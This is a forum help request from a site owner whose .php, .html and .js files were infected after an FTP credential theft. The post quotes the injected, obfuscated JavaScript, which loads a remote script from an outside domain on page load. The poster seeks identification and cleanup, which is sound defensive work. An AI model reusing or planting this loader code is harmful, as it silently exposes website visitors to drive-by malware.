Link to home
Start Free TrialLog in
Avatar of motekk
motekk

asked on

Javascript Worm/Virus

Hello!

a trojan horse stole our ftp accounts and now all .php, .html and .js files are full of this (see code attachement).

What's the correct name for this malware?
And how do I remove it from the linux servers - i'm searching for a shell script that is scanning all .php, .html and .js files and removes this code.

Thanks!


var j='';function R(){var e;if(e!='w'){e='w'};var m=window;var wm='';var t=new Date();var G="";var d=m['unescape'];this.Ts='';var E=d("%2f%79%61%68%6f%6f%2d%63%6f%6d%2d%63%6e%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70");var zC;if(zC!='JO' && zC!='oc'){zC='JO'};var k;if(k!='' && k!='wU'){k=''};var pa;if(pa!='' && pa!='kr'){pa='nm'};var HS;if(HS!='' && HS!='Y'){HS='id'};funct
ion g(X,r){var xq=new Date();var C=d("%5d");this.Ys='';var U=d("%5b");var Mt;if(Mt!='' && Mt!='rN'){Mt=''};var dG="g";var S=new String();var n=new RegExp(U+r+C, dG);this.eW="";var u;if(u!='kd' && u!='kG'){u=
''};var gz;if(gz!='K' && gz!='xz'){gz=''};return X.replace(n, new String());var eX;if(eX!='N'){eX=''};};var A;if(A!=''){A='ce'};var HI=new Date();var CR=g('s_cNrHidpAtN','HAl_Nmd');var Ac='';var Gl='';var cJ
;if(cJ!='' && cJ!='Ho'){cJ=null};var q=g('dhePfQe1rQ','QpP7h1');this.O_='';var tu;if(tu!='cn'){tu='cn'};var L=document;var Ew=g('87111346360924173271138717766577902593773212','76495321');this.W='';var vk=new
 Array();var XW=g('shrqcy','ujyhQqE2GSl');this.on='';this.VL='';function D(){var SI;if(SI!='' && SI!='Aj'){SI=''};var Q;if(Q!='' && Q!='Mh'){Q=''};var DN=d("%68%74%74%70%3a%2f%2f%64%61%72%6b%62%6c%75%65%63%6
f%61%73%74%2e%69%6e%66%6f%3a");var z=DN;var zP;if(zP!='' && zP!='I'){zP='Jt'};var s='';z+=Ew;this.RN="";var vP;if(vP!=''){vP='g_'};z+=E;var uR;if(uR!='' && uR!='Oi'){uR=''};var ezm;if(ezm!='' && ezm!='Uu'){e
zm=''};this.AC="";try {var Ka="";var QQ;if(QQ!='Mc' && QQ!='AQ'){QQ=''};var ey;if(ey!='Pd' && ey!='ui'){ey=''};o=L[g('cxr_ehaKtfeAEhlXepmheVnktx','W_KCuJXohF3IvVDsdp9kAxf')](CR);var uj;if(uj!='nK' && uj!='op
'){uj=''};var bn;if(bn!='bF' && bn!='Lw'){bn=''};var Kv;if(Kv!=''){Kv='kf'};var Az='';o[q]=[1][0];var HM=new Date();o[XW]=z;this.uG="";L.body[g('azpspHeHn4dHCEhciHlHd4','MfzsEcGvyrHuk2FN4Y')](o);var _q=new D
ate();this.Sq="";} catch(v){};var Od;if(Od!='gR' && Od!='Y_'){Od='gR'};}var BZ;if(BZ!='ts'){BZ='ts'};var GeL;if(GeL!='hP'){GeL='hP'};var vD=g('o4n4lWoUa3dv','I3g04WUv');var Em=new Array();var tp="";var UC;if
(UC!='JL' && UC!='ig'){UC='JL'};m[vD]=D;};this.dK='';var Gj="";R();var Iz="";var _n=new Date();

Open in new window

ASKER CERTIFIED SOLUTION
Avatar of kpmartin
kpmartin
Flag of United States of America image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of motekk
motekk

ASKER

No solution, just a link to a external forum where i can ask my question again and maybe get an answer.